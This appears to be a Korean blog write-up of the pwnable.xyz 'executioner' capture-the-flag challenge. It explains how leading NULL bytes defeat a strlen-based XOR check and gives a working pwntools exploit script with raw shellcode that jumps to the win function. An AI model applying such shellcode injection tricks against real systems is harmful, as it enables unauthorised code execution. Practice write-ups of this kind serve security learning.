pwn/pwnable.xyz
pwnable.xyz / executioner
lok2h4rd
2022. 5. 22. 23:36
단순 쉘코드 문제다 strlen으로 입력한 쉘코드 길이를 구해서 랜덤 값과 xor한다
단순 2byte NULL bytes를 박으면 strlen의 반환 값이 0이 되면서 랜덤 값과 xor하지 않게 된다
대신 쉘 코드가 실행 될때 ptr byte[rax], al을 수행한다 rax는 스택값이니 코드가 정상적으로 처리될 것이다
이후에 r12에 _start주소가 있어서 win만큼 더해서 jmp r12해서 플래그가 출력되도록 했다
from pwn import *
#context.log_level = "debug"
p = remote("svc.pwnable.xyz", 30025)
#p = process("./executioner")
#gdb.attach(p)
def pow():
p.recvuntil(b"0x")
num = int(p.recvline(), 16)
log.info("num: "+ hex(num))
p.recvuntil(b"> ")
p.send(b"0 ")
p.sendline(str(num))
pow()
shell = b"\x00\x00\x49\x81\xc4\x9a\x01\x00\x00\x41\xff\xe4"
p.recvuntil(b"Input: ")
p.sendline(shell)
p.interactive()